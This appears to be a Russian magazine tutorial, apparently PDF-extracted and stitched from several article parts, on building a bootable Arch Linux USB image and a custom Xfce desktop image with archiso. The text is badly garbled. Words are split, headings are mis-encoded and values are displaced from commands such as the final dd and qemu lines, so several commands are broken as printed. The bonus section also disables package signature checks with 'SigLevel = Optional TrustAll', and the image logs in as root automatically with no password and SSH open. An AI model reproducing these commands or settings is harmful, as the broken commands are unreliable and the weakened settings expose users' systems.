$ dd if=/dev/zero of=usb.img bs=4096 count=977912 status=progress 
3651747840 байт (3,7 GB, 3,4 GiB) ско пиро ван, 8 s, 456 MB/s 
977912+0 записей получе но 
977912+0 записей отправ лено 
4005527552 байт (4,0 GB, 3,7 GiB) ско пиро ван, 8,78378 s, 456 MB/s

Про веря ем:

 ls -la usb.img 

 

 

$ ls -la usb.img 
-rw-rw-r-- 1 root root 4005527552 апр 25 19:51 usb.img

Ес ли файл получил ся боль ше, мож но обре зать до нуж ной дли ны с помощью
. Нап ример, до 16 Гбайт:truncate

 truncate -s 16034824192 usb.img 

ÑÎÇÄÀÅÌ ÐÀÇÌÅÒÊÓ ÄÈÑÊÀ

Что бы наша сис тема мог ла заг ружать ся на компь юте рах и с BIOS, и с EFI, нам
нуж но раз метить диск на три раз дела:

один — 10 Мбайт, без фай ловой сис темы, необ ходим для уста нов ки заг- 
рузчи ка GRUB в режиме BIOS;

•

вто рой — 256 Мбайт, будет отформа тиро ван в FAT32, здесь соз дадим раз- 
дел  и пос тавим GRUB в режиме EFI;

•
boot

все оставше еся мес то отда дим кор невой фай ловой сис теме. Отформа- 
тиру ем ее в Ext4.

•

Соз даем раз метку GPT и делим диск на три раз дела:

 sgdisk -o -n 1:0:+10M -t 1:EF02 -n 2:0:+256M -t 2:EF00 -n 3:0:0 -t 3:
8300 usb.img 

 

 

$ sgdisk -o -n 1:0:+10M -t 1:EF02 -n 2:0:+256M -t 2:EF00 -n 3:0:0 -t 
3:8300 usb.img 
Creating new GPT entries in memory. 
Warning: The kernel is still using the old partition table. 
The new table will be used at the next reboot or after you 
run partprobe(8) or kpartx(8) 
The operation has completed successfully.

ÌÎÍÒÈÐÓÅÌ Â ÑÈÑÒÅÌÓ ÑÎÇÄÀÍÍÛÉ ÎÁÐÀÇ

Соз даем связь меж ду фай лом обра за  и устрой ством loopback.

Это поз воля ет работать с фай лом обра за так, как если бы он был физичес ким
устрой ством, нап ример USB-накопи телем.

usb.img

 losetup --show -Pf usb.img 

 

 

$ losetup --show -Pf usb.img 
/dev/loop0

Ко ман да покажет имя соз данно го устрой ства, в дан ном слу чае это 

.

/dev/
loop0

Про веря ем.

ls /dev/loop0*

 

 

$ ls /dev/loop0* 
/dev/loop0 
/dev/loop0p1 
/dev/loop0p2 
/dev/loop0p3

У нашего обра за дол жно быть три раз дела: , , .loop0p1 loop0p2 loop0p3

Ôîðìàòèðóåì ðàçäåëû
По стан дарту раз дел EFI дол жен быть отформа тиро ван в FAT32.

mkfs.fat -F32 /dev/loop0p2 

 

 

$ mkfs.fat -F32 /dev/loop0p2 
mkfs.fat 4.2 (2021-01-31)

Тре тий раз дел будет основным, для него мож но выб рать любую ФС, которую
будут под держи вать и заг рузчик, и ядро.

Фор матиру ем в Ext4:

mkfs.ext4 /dev/loop0p3 

 

 

$ mkfs.ext4 /dev/loop0p3 
mke2fs 1.46.5 (30-Dec-2021) 
... 
... 
Соз дание жур нала (16384 бло ков): готово 
Writing superblocks and filesystem accounting information: готово

Ìîíòèðóåì ðàçäåëû â /mnt/usb
Сна чала мы смон тиру ем раз дел , это будет наш основной раз- 
дел, на который уста новим сис тему. Затем на этом раз деле мы соз дадим
каталог , в который смон тиру ем раз дел .

/dev/loop0p3

/boot /dev/loop0p2

 mkdir -p /mnt/usb 
mount /dev/loop0p3 /mnt/usb 
mkdir /mnt/usb/boot 
mount /dev/loop0p2 /mnt/usb/boot 

ÊÎÏÈÐÓÅÌ AIROOTFS

Нес коль ко слов об . Это инс тру мент, с помощью которо го соз дают
офи циаль ные обра зы Arch Linux. Он сос тоит из двух час тей: скрип та

, который собира ет образ, и катало га с нас трой ками будуще го

обра за. Нам нужен будет каталог с кон фигами. В нем находят ся:

Archiso

mkarchiso

спи сок пакетов, которые необ ходимо уста новить, они хра нят ся в фай ле
;

•
packages.x86_64

ка талог . Его струк тура иден тична струк туре Arch Linux, здесь
лежат кон фиги сис темы.

• airootfs

Нам три раза при дет ся ука зывать путь до катало га с нас трой ками Archiso.
Что бы было про ще, вынесем путь к нему в перемен ную.

export ARCHISO=/usr/share/archiso/configs/releng 

Ко пиру ем нас трой ки офи циаль ного обра за до уста нов ки пакетов. Если
при уста нов ке пакета обна ружит ся, что кон фиг для него уже есть, файл
не перепи сыва ется, а соз дает ся новый с рас ширени ем .pacnew. Во вре мя
уста нов ки пакетов будут показа ны пре дуп режде ния об этом.

  cp -afv $ARCHISO/airootfs/* /mnt/usb/ 

ÏÅÐÅÂÎÄ ÍÅÊÎÒÎÐÛÕ ÔÀÉËÎÂ ÍÀ ÐÓÑÑÊÈÉ (ÍÅÎÁßÇÀÒÅËÜÍÎ)

В сво ем обра зе ты можешь поменять при ветс твие сис темы на какое хочешь.
Файл при ветс твия — . Я сде лал (ну лад но, Яндекс сде лал) прос той
перевод исходно го фай ла, ниже — коман да, которой его мож но заменить.

/etc/motd

wget -O /mnt/usb/etc/motd https://gitflic.ru/project/ksandr/archi/
blob/raw?file=airootfs/etc/motd 

В уста новоч ном обра зе есть коман да , откры вающая
в кон соль ном тек сто вом бра узе ре стра ницу вики по уста нов ке сис темы.

Installation_guide

За меним в ней ссыл ку, что бы она ука зыва ла на рус ско языч ный ана лог
стра ницы.

  sed -i 's/https:\/\/wiki.archlinux.org\/title\/Installation_guide/
https:\/\/wiki.archlinux.org\/title\/Installation_guide\(
%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)/' /mnt/usb/usr/local/bin/
Installation_guide 

ÑÒÀÂÈÌ ÏÀÊÅÒÛ

Спи сок пакетов берем из нас тро ек офи циаль ного обра за.
Ко ман да уста нов ки:

    pacstrap -c -G -M -C $ARCHISO/pacman.conf -- /mnt/usb 

Для пар синга спис ка пакетов подой дет такая коман да:

     
    

grep -v '^#' $ARCHISO/packages.x86_64 | tr '\n' ' ' | xargs pacstrap 
-c -G -M -C $ARCHISO/pacman.conf -- /mnt/usb 

 

 

$ grep -v '^#' packages.x86_64 | tr '\n' ' ' | xargs pacstrap -c -G -M -
C pacman.conf -- /mnt/usb 
... 
... 
... 
(14/16) Reloading system bus configuration...
Skipped: Running in chroot. 
(15/16) Warn about old perl modules 
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings: 
LANGUAGE = (unset), 
LC_ALL = (unset), 
LC_MESSAGES = "ru_RU.UTF-8", 
LANG = "ru_RU.UTF-8" 
are supported and installed on your system. 
perl: warning: Falling back to the standard locale ("C"). 
(16/16) Updating the info directory file...

Ес ли про цесс закон чился такими стро ками, мож но идти даль ше. Если нет —
пос мотри, вер но ли выпол нил каж дое дей ствие.

ÄÎÊÐÓ×ÈÂÀÅÌ ÍÀÑÒÐÎÉÊÈ

Ос новная часть уста нов ки сов пада ет с тем, что написа но в 
.

офи циаль ной
вики

Но что бы было удоб нее поль зовать ся этой стать ей, я поз волю себе пов- 
торить часть дей ствий из офи циаль ного руководс тва.

Ге нери руем файл  для нашего обра за — спи сок фай ловых

сис тем, мон тиру емых при заг рузке сис темы.

/etc/fstab

genfstab -U /mnt/usb > /mnt/usb/etc/fstab 

Пе рехо дим в chroot. Это поз волит изо лиро вать про цесс от осталь ной сис- 
темы и соз даст вир туаль ную сре ду, в которой про цесс может вес ти себя,
как буд то он работа ет в отдель ной сис теме.

Пос ле выпол нения этой коман ды текущий про цесс и все его дочер ние
про цес сы будут работать в изо лиро ван ной сре де, кор невым катало гом
которой будет ./mnt/usb

arch-chroot /mnt/usb 

Нам необ ходимо отре дак тировать файл ./etc/fstab
Ес ли на сис теме, с которой ты соз даешь образ, исполь зует ся раз дел

swap, то при генера ции фай ла  добавит ся запись о мон тирова нии
это го раз дела.

/etc/fstab

Не обхо димо отклю чить в fstab раз дел swap, если он там есть. Уда ли
или заком менти руй стро ку, которая за него отве чает.

vim /etc/fstab 

Так же рекомен дую изме нить парамет ры мон тирова ния с realtime на noatime,
это умень шает количес тво опе раций записи на диск.

Ни же при мер фай ла с вне сен ными изме нени ями, зна чения UUID в тво ем
фай ле будут дру гими.

 

 

 

 

$ cat /etc/fstab 
$ /dev/loop0p3 
UUID=d6ef477c-8db7-4b1b-9e55-a28fefbf03c1   / ext4  rw,noatime  0 1

$ /dev/loop0p2 
UUID=C963-38B9/boot vfat  
rw,noatime,fmask=0022,dmask=0022,codepage=437,iocharset=ascii,shortname=
mixed,utf8,errors=remount-ro0 2

$ /dev/sda1 
#UUID=8ac5fbc3-058e-4a18-a084-e68b52c1af46  none  swap  defaults0 0

Ус танови свою вре мен ную зону.

 ln -sf /usr/share/zoneinfo/Europe/Moscow /etc/localtime 

Файл  содер жит спис ки дос тупных локали заций сис темы,

рекомен дую оста вить эти две:

/etc/locale.gen

en_US.UTF-8 UTF-8 
ru_RU.UTF-8 UTF-8 

Сге нери руй фай лы локали зации.

locale-gen 

Ус танови обще сис темное зна чение перемен ной .LANG

echo LANG=ru_RU.UTF-8 > /etc/locale.conf 

Ус танови шрифт и парамет ры изме нения рас клад ки.
В файл  запиши:/etc/vconsole.conf

KEYMAP=ru 
FONT=cyr-sun16 

INFO

Не кото рые из манипу ляций, опи сан ных в этом
раз деле, мож но про делать сра зу с катало гом
archiso, тог да при уста нов ке будет мень ше дей- 
ствий.

Продолжение статьи →
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ÑÒÀÂÈÌ ÇÀÃÐÓÇ×ÈÊÈ

На чать надо с соз дания .на чаль ного заг рузоч ного дис ка сис темы
От редак тируй файл пре дус танов ки ./etc/mkinitcpio.d/linux.preset
Мы будем исполь зовать стан дар тный файл нас тро ек , так что

изме ни стро ку, ука зыва ющую на кон фиг.

mkinitcpio

vim /etc/mkinitcpio.d/linux.preset 

$ mkinitcpio preset file for the 'linux' package on archiso 
PRESETS=('archiso') 
ALL_kver='/boot/vmlinuz-linux' 
archiso_config='/etc/mkinitcpio.conf' 
archiso_image="/boot/initramfs-linux.img" 

От редак тируй файл нас тро ек . В парамет ре  необ ходимо

убрать .

mkinitcpio HOOKS
autodetect

vim /etc/mkinitcpio.conf 

... 
HOOKS=(base udev microcode modconf kms keyboard keymap consolefont 
block filesystems fsck) 
... 

Пе ресоз дай образ initcpio.

INFO

Об раз mkinitcpio в Arch Linux — это сге нери рован- 
ный скрип том mkinitcpio образ, который содер- 
жит все необ ходимые для заг рузки и ини циали- 
зации сис темы фай лы и скрип ты. Этот образ
исполь зует ся в про цес се заг рузки сис темы, ког да
ядро Linux заг ружа ется, но перед тем, как пол- 
ностью ини циали зиро вать сис тему и передать
управле ние поль зователь ско му прос транс тву.

mkinitcpio -P

 

 

$ mkinitcpio -P 
==> Building image from preset: /etc/mkinitcpio.d/linux.preset: 
'archiso' 
... 
==> Initcpio image generation successful

Ус танав лива ем заг рузчик для сис тем с BIOS. Он ста вит ся в начало дис ка,
для это го мы и соз давали пер вый раз дел.

Об рати вни мание: в коман де ука зан диск, а не раз дел дис ка!

grub-install --target=i386-pc --recheck /dev/loop0 

 

 

$ grub-install --target=i386-pc --recheck /dev/loop0 
Вы пол няет ся уста нов ка для плат формы i386-pc. 
Ус танов ка завер шена. Оши бок нет.

Ус танав лива ем заг рузчик для сис тем с EFI.

 grub-install --target=x86_64-efi --efi-directory /boot --recheck
--removable

 

 

$ grub-install --target=x86_64-efi --efi-directory /boot --recheck --
removable 
Вы пол няет ся уста нов ка для плат формы x86_64-efi. 
Ус танов ка завер шена. Оши бок нет.

Соз даем файл с нас трой ками заг рузчи ка.

grub-mkconfig -o /boot/grub/grub.cfg 

 

 

$ grub-mkconfig -o /boot/grub/grub.cfg 
Ге нери рует ся файл нас трой ки grub … 
Най ден образ linux: /boot/vmlinuz-linux 
Най ден образ initrd: /boot/intel-ucode.img /boot/amd-ucode.img 
/boot/initramfs-linux.img 
Пре дуп режде ние: os-prober не будет запущен для обна руже ния дру гих заг- 
рузоч ных раз делов. 
Их сис темы не будут добав лены в заг рузоч ные нас трой ки GRUB. 
Проч тите докумен тацию на параметр GRUB_DISABLE_OS_PROBER. 
До бав ляет ся эле мент заг рузоч ного меню для нас тро ек мик ропрог раммы UEFI … 
Found memtest86+ image: /boot/memtest86+/memtest.bin 
/usr/bin/grub-probe: пре дуп режде ние: неиз вес тный тип устрой ства loop0. 
Found memtest86+ EFI image: /boot/memtest86+/memtest.efi 
/usr/bin/grub-probe: пре дуп режде ние: неиз вес тный тип устрой ства loop0. 
за вер шено

Как ты уже понял, мы уста нови ли два заг рузчи ка, и оба они обра щают ся
к одно му кон фигура цион ному фай лу.

В офи циаль ном ISO-обра зе Arch Linux исполь зует ся заг рузчик Syslinux.
Мож но было бы исполь зовать и его, это дело вку са. Я выб рал более прос той
в нас трой ке вари ант.

ÍÀÑÒÐÀÈÂÀÅÌ ÆÓÐÍÀËÈÐÎÂÀÍÈÅ

Что бы умень шить количес тво обра щений к дис ку, нас тра иваем жур налиро- 
вание в опе ратив ную память, а не на диск.

Соз даем каталог:

 mkdir -p /etc/systemd/journald.conf.d 

За писы ваем нас трой ки ниже в файл 

:

/etc/systemd/journald.conf.d/10-
volatile.conf

[Journal]
Storage=volatile
SystemMaxUse=16M
RuntimeMaxUse=32M

ÄÎÏÎËÍÈÒÅËÜÍÎÅ ÄÅÉÑÒÂÈÅ

При соз дании ISO-обра за дис ка при помощи mkarchiso часть нас тро ек дела- 
ется при помощи «хуков» (сце нари ев коман дной стро ки) менед жера пакетов
pacman. Эти хуки уда ляют ся при соз дании ISO.

Так как мы собира ем образ сами, нам нуж но уда лить некото рые хуки вруч- 
ную.

     rm -v -- $(grep -Frl 'remove from airootfs' /etc/pacman.d/hooks/)

ÇÀÄÀÅÌ ÏÀÐÎËÜ ÐÓÒÀ (ÍÅÎÁßÇÀÒÅËÜÍÎ)

По умол чанию пароль для root отсутс тву ет, ты можешь уста новить свой.
При заг рузке про исхо дит авто мати чес кий вход с логином root.

SSH-дос туп для root тоже открыт по умол чанию.

passwd 

 

 

$ passwd 
Но вый пароль: 
Пов торите ввод нового пароля: 
passwd: пароль успешно обновлён

Еще мож но соз дать обыч ного поль зовате ля.

ÎÁÐÀÇ ÃÎÒÎÂ, ÄÅÌÎÍÒÈÐÓÅÌ ÓÑÒÐÎÉÑÒÂÀ

Вы ходим из chroot.

exit

Раз монти руем раз делы в обратной пос ледова тель нос ти.

umount /mnt/usb/boot 
umount /mnt/usb 

Де акти виру ем при вяз ку устрой ства loop к фай лу .usb.img

losetup -D

ÏÈØÅÌ ÎÁÐÀÇ ÍÀ ÔËÅØÊÓ

Вни мание! Если до это го момен та ты еще не сло мал свою сис тему, то сей час
будет отличный шанс. Так что будь пре дель но осто рожен.

WWW

Де таль ное опи сание записи обра за есть в 
.

офи- 
циаль ной вики

Под клю чаем USB-носитель к сис теме и набира ем коман ду

lsblk -piaf

Ищем USB-носитель в спис ке, запоми наем номер.
И записы ваем на него образ. В ука зан ной ниже коман де поменяй зна- 

чение парамет ра  (вмес то X под ставь бук ву тво его дис ка).of=/dev/sdX

4096  dd if=usb.img of=/dev/sdX bs= status=progress && sync

Вы ходи из окру жения root:

exit

ÒÅÑÒÈÐÓÅÌ ÎÁÐÀÇ Â QEMU (ÍÅÎÁßÇÀÒÅËÜÍÎ)

Что бы про верить, как работа ет наш образ, мы можем запус тить его в эму- 
лято ре.

Да лее в этом раз деле пред полага ется, что у тебя уста нов лены эти пакеты:

qemu-base tigervnc openbsd-netcat 

За пус тить вир туаль ную машину из соз данно го обра за ты можешь такой
коман дой:

 raw  qemu-system-x86_64 -drive file=usb.img,format= -m 1024 -enable-kvm
-monitor unix:/tmp/monitor.sock,server,nowait 

 

 
VNC server running on 127.0.0.1:5901

Под клю чить ся к вир туаль ной машине мож но, исполь зуя любой кли ент VNC.
В слу чае с TigerVNC коман да под клю чения будет сле дующей:

vncviewer 127.0.0.1:5901 

 

 

TigerVNC Viewer v1.13.1 
Сбор ка от: 2024-01-20 02:29 
Copyright (C) 1999-2022, TigerVNC Team и мно гие дру гие (см. README.rst) 
Ин форма ция о TigerVNC на сай те https://www.tigervnc.org 
...

Для под клю чения к кон соли управле ния вир туаль ной машины можешь
исполь зовать, нап ример, nc.

nc -U /tmp/monitor.sock 

 

 

QEMU 9.0.0 monitor - type 'help' for more information
(qemu)

ÂÛÂÎÄÛ

У нас есть файл с уста новоч ным обра зом сис темы, который мож но записать
на любые носите ли. Но самое глав ное — заг рузив шись с него, ты смо жешь
ста вить в сис тему допол нитель ные пакеты и делать любые нас трой ки, нуж ные
для тво их задач.

Я взял флеш ку на 4 Гбайт, и пос ле всех дей ствий на ней оста- 
лось 1,2 Гбайт сво бод ного мес та.

БОНУС

Этот метод соз дания обра за дис ка уни вер сален, его мож но исполь зовать
с раз ными кон фигура циями Archiso. Нап ример, с , одной из оте чес твен- 
ных сбо рок Arch Linux.

Сtlos

Ав тор Сtlos исполь зует собс твен ный репози торий для некото рых пакетов,
на стра нице про екта есть  по его под клю чению.инс трук ция

В качес тве аль тер нативы мож но отре дак тировать файл  (из

катало га с нас трой ками), ука зав в нем допол нитель ный  и отклю- 
чив про вер ку под писи пакетов.

pacman.conf
ре пози торий

Вот в качес тве при мера фраг мент изме нен ного фай ла :pacman.conf

...
[ctlos_repo]

  SigLevel = Optional TrustAll
  Server = https://github.com/ctlos/$repo/raw/master/$arch
  Server = https://osdn.net/projects/ctlos/storage/$repo/$arch
  Server = https://cvc.keybase.pub/$repo

#Include = /etc/pacman.d/ctlos-mirrorlist

[ctlos-aur]
  SigLevel = Optional TrustAll

  Server = https://github.com/ctlos/$repo/raw/master/$arch
  Server = https://osdn.net/projects/ctlos/storage/$repo/$arch
  Server = https://cvc.keybase.pub/$repo

#Include = /etc/pacman.d/ctlos-mirrorlist

Важ ный момент: кло ниро вать уда лен ный репози торий луч ше из-под root, пос- 
коль ку все фай лы в катало ге с нас трой ками дол жны при над лежать руту.

WWW

•Arch Linux USB
•Соз дание обра за GPT-дис ка с нес коль кими

раз делами без loop-устрой ств (Linux.org.ru)
•ArchWiki на рус ском

https://wiki.archlinux.org/title/Mkinitcpio_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)
https://wiki.archlinux.org/title/USB_flash_installation_medium_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)
https://github.com/ctlos/ctlosiso
https://ctlos.github.io/wiki/install/ctlos-repo/
https://ctlos.github.io/wiki/install/ctlos-repo/#%d1%83%d1%81%d1%82%d0%b0%d0%bd%d0%b0%d0%b2%d0%bb%d0%b8%d0%b2%d0%b0%d0%b5%d0%bc-%d0%b7%d0%b5%d1%80%d0%ba%d0%b0%d0%bb%d0%b0
https://mags.zone/help/arch-usb.html
https://www.linux.org.ru/forum/general/16889399
https://wiki.archlinux.org/
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Слу чает ся, что сис тему нуж но пере уста нав- 
ливать или раз ворачи вать на дру гом компь- 
юте ре. Для это го быва ет удоб но иметь
заранее под готов ленную флеш ку, где будет
дис три бутив со все ми нуж ными нас трой- 
ками. В этой статье я покажу, как сде лать
такой образ на осно ве Arch Linux — с авто- 
заг рузкой гра фичес кой сре ды и базовым
набором прог рамм. Мы сде лаем две вер- 
сии: для дес кто па на x86-64 и для Raspberry
Pi.

ÄÅÑÊÒÎÏ

Нач нем с дес ктоп ной вер сии. Для нее нам понадо бит ся добавить в Arch гра- 
фичес кое окру жение и автостарт.

Ес ли же тебе нужен сер верный вари ант, то это руководс тво можешь рас- 
смат ривать как при мер, а весь нуж ный софт выберешь сам. Это прос то:
находишь опи сание нуж ного сер виса на офи циаль ной  и при меня ешь
инс трук цию к катало гу airootfs как кор ню тво ей будущей сис темы. Впро чем,
всё по поряд ку.

ви ки

Соб рать спи сок пакетов, который бы устро ил всех, нере аль но. Поэто му
при веду при мер уста нов ки и нас трой ки на осно ве того, что я выб рал
для себя, а ты уже сам решишь, что убрать и добавить.

Вот что будет на нашей флеш ке:
ба зовые пакеты Archiso для сбор ки офи циаль ного обра за;•
гра фичес кая сис тема X.org;•
ра бочая сре да Xfce 4;•
бра узер;•
нес коль ко тек сто вых редак торов;•
до пол нитель ные пакеты, нуж ные в пов седнев ной работе.•

Ïîäãîòîâêà
В статье « » я уже
рас ска зывал о том, как сде лать заг рузоч ный внеш ний диск с Arch Linux.
В этой же статье я покажу, как сде лать свой кон фиг для ути литы . Даль- 
ше ты можешь вос поль зовать ся инс трук цией из пер вой статьи, что бы соз дать
образ для такой же флеш ки.

Кар манный Arch. Дела ем флеш ку с живым обра зом Arch Linux

Archiso

Даль ше мы будем соз давать и напол нять каталог  и сос тавлять
спи сок пакетов в фай ле .

airootfs
packages.x86_64

Ес ли при уста нов ке пакета в сис тему будут необ ходимы спе циаль ные нас- 
трой ки, мы вне сем их в .airootfs

Ìèíèìàëüíûé îáðàç
Об раз я окрестил xrerus, где X — в честь гра фичес кой сре ды (или жур нала
«Хакер», как тебе боль ше нра вит ся), re — от , ну а почему
rus, ты, думаю, догада ешь ся.

release engineering

Все дей ствия мы будем про изво дить с при виле гиями супер поль зовате ля,
так что сра зу пиши  и вво ди пароль.su

Пос коль ку за осно ву я взял офи циаль ный образ Arch Linux, мы нач нем
с того, что ско пиру ем его и пере име нуем в xrerus.

 cp -rv /usr/share/archiso/configs/releng xrerus 

Ли бо мож но сра зу ска чать образ из офи циаль ного репози тория, если ты
еще это го не сде лал:

git clone https://gitlab.archlinux.org/archlinux/archiso.git 

Кста ти, при выборе пакетов огра ничим ся толь ко офи циаль ным репози тори- 
ем. При чины две: более надеж ная под дер жка пакетов и уста нов ка без допол- 
нитель ных дей ствий. Добав ление пакетов из дру гих репози тори ев, воз можно,
рас смот рим в дру гой раз.

Для удобс тва записы ваем путь до катало га с кон фигами в перемен ную:

export ARCHISO=/home/ЛОГИН/xrerus 

Ãðàôè÷åñêàÿ ñèñòåìà
В минималь ном обра зе глав ная задача — уни вер саль ность. Нам нуж но, что- 
бы он работал на боль шинс тве компь юте ров. Поэто му добав ляем xorg-server,
менед жер вхо да, откры тые драй веры и сер вер VNC.

Нач нем с нас трой ки менед жера вхо да LightDM.
Соз даем каталог для фай лов нас тро ек:

  mkdir -p $ARCHISO/airootfs/etc/lightdm 

Файл нас тро ек :greeter-gtk

vim $ARCHISO/airootfs/etc/lightdm/lightdm-gtk-greeter.conf 

[greeter]
  background = /usr/share/backgrounds/wallpaper

Не забыва ем ско пиро вать файл для фона.

  mkdir -p $ARCHISO/airootfs/usr/share/backgrounds 
 cp -v ~wallpaper $ARCHISO/airootfs/usr/share/backgrounds/wallpaper 

INFO

Мы не ста вим никаких пакетов с обо ями, так что
для начала будет чер ный фон, а кра соту можешь
добавить сам.

Вклю чаем авто запуск сер виса LightDM:

 ln -sv /usr/lib/systemd/system/lightdm.service $ARCHISO/airootfs/etc/
systemd/system/display-manager.service 

В конец фай ла packages.x86_64 дописы ваем уста нав лива емые пакеты:

$ARCHISO/packages.x86_64
... 
xorg-server 
xorg-xinit 
xorg-xrandr 
lightdm 
lightdm-gtk-greeter 
xf86-video-dummy 
xf86-video-fbdev 
xf86-video-vesa 
xf86-video-amdgpu 
xf86-video-ati 
xf86-video-intel 
xf86-video-nouveau 
autorandr 
tigervnc 

Ðàáî÷àÿ ñðåäà Xfce 4
Тут у нас есть два вари анта: мож но уста новить груп пу пакетов xfce4, а мож но
выб рать вруч ную толь ко самые нуж ные пакеты. Мы пой дем по вто рому пути.

До бав ляем пакеты в спи сок :packages.x86_64

xfwm4 
xfce4-battery-plugin 
xfce4-notifyd 
xfce4-panel 
xfce4-power-manager 
xfce4-pulseaudio-plugin 
xfce4-session 
xfce4-settings 
xfce4-terminal 
xfce4-xkb-plugin 
xfce4-clipman-plugin 
accountsservice 
xdg-utils 
polkit 

Ñîôò
Даль ше я прос то перечис лю все пакеты с соф том, которые я выб рал для сво- 
его обра за.

Бра узе ры:

$ARCHISO/packages.x86_64
... 
luakit 
firefox 
firefox-i18n-ru 
chromium 

Ре дак торы:

$ARCHISO/packages.x86_64
... 
vim 
nano 
mousepad 
leafpad 

Средс тва ком муника ции:

$ARCHISO/packages.x86_64
... 
discord 
telegram-desktop

Äîïîëíèòåëüíûå ïàêåòû
Нам понадо бят ся шриф ты:

$ARCHISO/packages.x86_64
... 
ttf-droid 
ttf-croscore 
ttf-liberation 
ttf-dejavu 
ttf-inconsolata 

Зву ковые драй веры и ути литы:

$ARCHISO/packages.x86_64
... 
alsa-firmware 
alsa-plugins 
alsa-utils 
pipewire-pulse 
pipewire-alsa 
pipewire-jack 
rtkit 
pavucontrol 

Ес ли на тво ей машине есть Bluetooth, то ути литы для работы с ним:

$ARCHISO/packages.x86_64
... 
bluez 
bluez-utils 
bluez-obex 
blueman 

Ñåòåâûå óòèëèòû
Тут нам надо опре делить ся,  из дос тупных средств мы будем нас тра- 
ивать сеть. Так как у нас дес ктоп ный вари ант, мой выбор — NetworkManager.

ка ким

Ав тозаг рузка NetworkManager при стар те:

 ln -sv /usr/lib/systemd/system/NetworkManager.service $ARCHISO/
airootfs/etc/systemd/system/multi-user.target.wants/NetworkManager.
service 

 ln -sv /usr/lib/systemd/system/NetworkManager-dispatcher.service 
$ARCHISO/airootfs/etc/systemd/system/dbus-org.freedesktop.nm-
dispatcher.service 

 ln -sv /usr/lib/systemd/system/NetworkManager-wait-online.service 
$ARCHISO/airootfs/etc/systemd/system/network-online.target.wants/
NetworkManager-wait-online.service 

Так же не забудем запус тить сер вис сопос тавле ния домен ных имен:

 ln -sv /usr/lib/systemd/system/systemd-resolved.service $ARCHISO/
airootfs/etc/systemd/system/systemd-resolved.service 

Ус танав лива ем имя хос та:

 echo archi > $ARCHISO/airootfs/etc/hostname 

Пи шем :/etc/hosts

vim $ARCHISO/airootfs/etc/hosts 

127.0.0.1        localhost 
::1              localhost 
127.0.1.1        archi 

Ес ли хост исполь зует ста тичес кий IP-адрес, то его сле дует ука зать вмес- 
то 127.0.1.1. Если у сис темы есть fully qualied domain name (FQDN), вставь
его перед име нем хос та. Под робнее про нас трой ку сети — 

.
в офи циаль ной

вики
До бав ляем пакеты в спи сок для уста нов ки.

$ARCHISO/packages.x86_64
... 
network-manager-applet 
networkmanager 
networkmanager-openconnect 
networkmanager-openvpn 
networkmanager-pptp 
networkmanager-vpnc 
networkmanager-l2tp 
dnsutils 
modemmanager 
mobile-broadband-provider-info 

И не забудем про поль зователь ские ути литы:

$ARCHISO/packages.x86_64
... 
openssh 
git 
wget 
curl 

Ðàáîòà ñ ôàéëàìè
Стан дар тный фай ловый менед жер в Xfce 4 — это Thunar. Добав ляем его.

$ARCHISO/packages.x86_64
... 
thunar 
thunar-archive-plugin 
thunar-media-tags-plugin 
thunar-volman 

Для более ком фор тной работы с фай ловыми сис темами ста вим допол нитель- 
ные пакеты:

$ARCHISO/packages.x86_64
... 
gvfs 
gvfs-nfs 
gvfs-smb 
nfs-utils 
ntfs-3g 
sshfs 

Äîïîëíèòåëüíûé ñîôò
Даль ше в спис ке нет обя затель ных и незаме нимых прог рамм, так что можешь
уби рать или заменять что угод но на свое усмотре ние.

Я себе добавил:
 — гра фичес кий редак тор раз делов и дис ков (ути лита осо бен но

при годит ся, если ты собира ешь ся исполь зовать образ как уста новоч ный
диск);

• GParted

 — смот релка кар тинок;• feh

 — если понадо бит ся делать скрин шоты;• Flameshot

 — аудио- и виде опле ер;• mpv

 — монитор сис темных ресур сов;• htop

 — двух панель ный фай ловый менед жер.• mc

Так же я добавил нес коль ко самых важ ных сетевых ути лит и ком плект архи-
вато ров:

$ARCHISO/packages.x86_64
... 
gzip
p7zip 
unrar 
unzip 
file-roller 

С уста нов кой пакетов на этом всё, но есть еще нес коль ко нас тро ек, которые
нам надо сде лать.

Íàñòðîéêà
На опре делен ном эта пе заг рузки управле ние перехо дит к  

. Для уста новоч ного ISO этот образ осо бый. Так как наш инсталл

Arch Linux не будет отли чать ся от обыч ной уста нов ки на жес ткий диск, мы
можем исполь зовать стан дар тные нас трой ки для соз дания 

.

об разу initramfs-
linux.img

initramfs-
linux.img

Ес ли менять нас трой ки mkinitcpio, то кон фиг перес танет быть при год ным
для сбор ки обыч ных ISO-обра зов. Это лег ко испра вить, либо вер нув потом
нас трой ки mkinitcpio, либо сде лав в этом фай ле две сек ции: одну — для сбор- 
ки ISO, дру гую — для наших IMG. Но на прак тике мы пой дем по наибо лее лег- 
кому пути — выберем соз дание  с нас трой ками

по умол чанию.

initramfs-linux.img

Так как пред полага ется, что мы дела ем образ из сис темы Arch Linux x86-
64, мы можем под смот реть при мер фай ла mkinitcpio.conf на нашей сис теме.
Далее пред полага ется, что мы исполь зуем стан дар тное ядро — то, что
содер жится в пакете .linux

Ко пиру ем фай лы нас тро ек mkinitcpio:

 cp -v /etc/mkinitcpio.d/linux.preset $ARCHISO/airootfs/etc/
mkinitcpio.d/linux.preset 

 cp -v /etc/mkinitcpio.conf $ARCHISO/airootfs/etc/mkinitcpio.conf 

Уда ляем из него лиш нее:

$ARCHISO/airootfs/etc/mkinitcpio.d/linux.preset
ALL_kver="/boot/vmlinuz-linux"

PRESETS=('default')

default_config="/etc/mkinitcpio.conf"
default_image="/boot/initramfs-linux.img"

Ре дак тиру ем файл . В парамет ре HOOKS необ ходимо
убрать autodetect.

/etc/mkinitcpio.conf

$ARCHISO/airootfs/etc/mkinitcpio.conf
... 
HOOKS=(base udev microcode modconf kms keyboard keymap consolefont 
block filesystems fsck) 
... 

Продолжение статьи →
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КАСТОМНЫЙ ARCH
СОЗДАЕМ ОБРАЗЫ ARCH LINUX

ДЛЯ ДЕСКТОПА И RASPBERRY PI

COVERSTORY  НАЧАЛО СТАТЬИ←

Ко ман ды для вклю чения рус ской локали зации возь мем из офи циаль ной вики.
Ста вим обще сис темное зна чение перемен ной LANG:

 echo LANG=ru_RU.UTF-8 > $ARCHISO/airootfs/etc/locale.conf 

Файл  содер жит спис ки дос тупных локали заций сис темы,
